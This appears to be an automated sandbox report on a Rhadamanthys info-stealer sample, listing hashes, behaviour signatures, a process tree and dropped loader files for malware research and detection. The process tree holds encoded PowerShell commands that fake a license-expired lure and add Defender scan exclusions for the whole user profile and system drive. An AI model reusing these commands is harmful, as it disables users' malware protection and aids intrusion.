Analysis

  • max time kernel
    115s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 01:05

General

  • Target

    0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72.exe

  • Size

    597KB

  • MD5

    d6abeeea631ceedc9704b11198ddb305

  • SHA1

    32c3d810eef2eefa3e317001657f6e5beb839080

  • SHA256

    0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72

  • SHA512

    b648a43f3fd6bf9c5594b8d0fa882eacd5714d2b69d295ef8c749ef5cae81846ed148034cc9cbc46912fdc959d83f4d9e9f822552f5ddba5a45c1d4e4150d876

  • SSDEEP

    12288:pjImsaOOmzPgf/zaUR58rAfTFIg4biQN9Az+I:pjqOmzIDaG58UfTFwnP

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2364
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1664
    • C:\Users\Admin\AppData\Local\Temp\0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72.exe
      "C:\Users\Admin\AppData\Local\Temp\0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72.exe"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAaQBzACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAZgBzACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABsAGkAYwBlAG4AcwBlACAAaABhAHMAIABlAHgAcABpAHIAZQBkAC4AIABDAG8AbgB0AGEAYwB0ACAAdQBzACAAdgBpAGEAIAB0AGUAbABlAGcAcgBhAG0AIAB0AG8AIABwAHUAcgBjAGgAYQBzAGUAIAAvACAAZwBlAHQAIABmAHIAZQBlACAAdAByAGkAYQBsACAAdgBlAHIAcwBpAG8AbgAhACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBjAG4AaQAjAD4A"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3544
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAaQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AcgBoACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAagBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAcABnACMAPgA="
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:112
      • C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe
        "C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe"
        2⤵
        • Executes dropped EXE
        PID:4900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4900 -s 884
          3⤵
          • Program crash
          PID:2564
      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2504
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4900 -ip 4900
      1⤵
        PID:2204
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4044 --field-trial-handle=2432,i,12161922670941700748,3348345705955601576,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:2404

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          17KB

          MD5

          c0932eec2abeb657499527e72bdd1c2e

          SHA1

          f03f108ddef7a826c7ee03a2bfa608b92b3afc19

          SHA256

          4ccb7fcea78aabfc03bc2ddbd7771fba9108f89e821814eed8ded6d7e4235542

          SHA512

          b5ac278e291d9d6b5b401ba578d4d395f5f9c50f17d2d4220a4799b081e4f168c643982c72ceccf96fd82a136e40350a88479170cbe30d1a60e8f665136fcab5

        • C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe

          Filesize

          101KB

          MD5

          39d81ca537ceb52632fbb2e975c3ee2f

          SHA1

          0a3814bd3ccea28b144983daab277d72313524e4

          SHA256

          76c4d61afdebf279316b40e1ca3c56996b16d760aa080d3121d6982f0e61d8e7

          SHA512

          18f7acf9e7b992e95f06ab1c96f017a6e7acde36c1e7c1ff254853a1bfcde65abcdaa797b36071b9349e83aa2c0a45c6dfb2d637c153b53c66fc92066f6d4f9a

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsyaenhi.g1c.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\svchost.exe

          Filesize

          355KB

          MD5

          2ef91bf37b3da8cad6751b665bd4e6af

          SHA1

          5c15bbc721f91855388861d378cf9d26a140cead

          SHA256

          5263ecab05efc0fda51526658fdfa446f6108c009b8c2ddc9dd93ba29ea691b7

          SHA512

          16f1846fde3d65413d1c478b59761cb5b74c5fa4556c7234858010efc05e81e305c9054895e388e9de85f6a55d05d6ac0236ed85dcdce3b82b0a82b4986eb2a3

        • memory/112-32-0x0000000005A70000-0x0000000006098000-memory.dmp

          Filesize

          6.2MB

        • memory/112-92-0x0000000007AF0000-0x0000000007B93000-memory.dmp

          Filesize

          652KB

        • memory/112-102-0x0000000007EA0000-0x0000000007EBA000-memory.dmp

          Filesize

          104KB

        • memory/112-77-0x0000000007AB0000-0x0000000007AE2000-memory.dmp

          Filesize

          200KB

        • memory/112-101-0x0000000007E60000-0x0000000007E74000-memory.dmp

          Filesize

          80KB

        • memory/112-33-0x0000000003290000-0x00000000032A0000-memory.dmp

          Filesize

          64KB

        • memory/112-100-0x0000000007E50000-0x0000000007E5E000-memory.dmp

          Filesize

          56KB

        • memory/112-98-0x0000000003290000-0x00000000032A0000-memory.dmp

          Filesize

          64KB

        • memory/112-97-0x0000000006BA0000-0x0000000006BB1000-memory.dmp

          Filesize

          68KB

        • memory/112-96-0x0000000007EE0000-0x0000000007F76000-memory.dmp

          Filesize

          600KB

        • memory/112-74-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/112-106-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/112-93-0x0000000006B60000-0x0000000006B6A000-memory.dmp

          Filesize

          40KB

        • memory/112-79-0x0000000070BA0000-0x0000000070BEC000-memory.dmp

          Filesize

          304KB

        • memory/112-71-0x0000000006900000-0x000000000694C000-memory.dmp

          Filesize

          304KB

        • memory/112-103-0x0000000007E90000-0x0000000007E98000-memory.dmp

          Filesize

          32KB

        • memory/112-70-0x00000000068C0000-0x00000000068DE000-memory.dmp

          Filesize

          120KB

        • memory/112-90-0x000000007FB60000-0x000000007FB70000-memory.dmp

          Filesize

          64KB

        • memory/112-69-0x00000000064E0000-0x0000000006834000-memory.dmp

          Filesize

          3.3MB

        • memory/112-91-0x0000000006E90000-0x0000000006EAE000-memory.dmp

          Filesize

          120KB

        • memory/112-24-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/112-53-0x0000000006110000-0x0000000006176000-memory.dmp

          Filesize

          408KB

        • memory/112-47-0x0000000005920000-0x0000000005942000-memory.dmp

          Filesize

          136KB

        • memory/1664-48-0x0000000076380000-0x0000000076595000-memory.dmp

          Filesize

          2.1MB

        • memory/1664-46-0x0000000002400000-0x0000000002800000-memory.dmp

          Filesize

          4.0MB

        • memory/1664-44-0x00007FFCACD50000-0x00007FFCACF45000-memory.dmp

          Filesize

          2.0MB

        • memory/1664-42-0x0000000002400000-0x0000000002800000-memory.dmp

          Filesize

          4.0MB

        • memory/1664-72-0x0000000002400000-0x0000000002800000-memory.dmp

          Filesize

          4.0MB

        • memory/1664-43-0x0000000002400000-0x0000000002800000-memory.dmp

          Filesize

          4.0MB

        • memory/1664-38-0x00000000005A0000-0x00000000005A9000-memory.dmp

          Filesize

          36KB

        • memory/2504-40-0x0000000000D40000-0x0000000000DAD000-memory.dmp

          Filesize

          436KB

        • memory/2504-30-0x00007FFCACD50000-0x00007FFCACF45000-memory.dmp

          Filesize

          2.0MB

        • memory/2504-21-0x0000000000D40000-0x0000000000DAD000-memory.dmp

          Filesize

          436KB

        • memory/2504-25-0x0000000003800000-0x0000000003C00000-memory.dmp

          Filesize

          4.0MB

        • memory/2504-26-0x0000000003800000-0x0000000003C00000-memory.dmp

          Filesize

          4.0MB

        • memory/2504-28-0x0000000003800000-0x0000000003C00000-memory.dmp

          Filesize

          4.0MB

        • memory/2504-35-0x0000000003800000-0x0000000003C00000-memory.dmp

          Filesize

          4.0MB

        • memory/2504-36-0x0000000076380000-0x0000000076595000-memory.dmp

          Filesize

          2.1MB

        • memory/3544-27-0x0000000002ED0000-0x0000000002F06000-memory.dmp

          Filesize

          216KB

        • memory/3544-107-0x0000000005100000-0x0000000005110000-memory.dmp

          Filesize

          64KB

        • memory/3544-94-0x0000000008750000-0x0000000008CF4000-memory.dmp

          Filesize

          5.6MB

        • memory/3544-95-0x0000000007880000-0x0000000007912000-memory.dmp

          Filesize

          584KB

        • memory/3544-39-0x0000000005100000-0x0000000005110000-memory.dmp

          Filesize

          64KB

        • memory/3544-37-0x0000000005100000-0x0000000005110000-memory.dmp

          Filesize

          64KB

        • memory/3544-111-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/3544-99-0x0000000005100000-0x0000000005110000-memory.dmp

          Filesize

          64KB

        • memory/3544-64-0x0000000005E50000-0x0000000005EB6000-memory.dmp

          Filesize

          408KB

        • memory/3544-75-0x0000000007B20000-0x000000000819A000-memory.dmp

          Filesize

          6.5MB

        • memory/3544-78-0x0000000006980000-0x000000000699A000-memory.dmp

          Filesize

          104KB

        • memory/3544-73-0x0000000005100000-0x0000000005110000-memory.dmp

          Filesize

          64KB

        • memory/3544-80-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/3544-23-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/4900-29-0x0000000000C30000-0x0000000000C4E000-memory.dmp

          Filesize

          120KB

        • memory/4900-31-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB

        • memory/4900-76-0x0000000073D70000-0x0000000074520000-memory.dmp

          Filesize

          7.7MB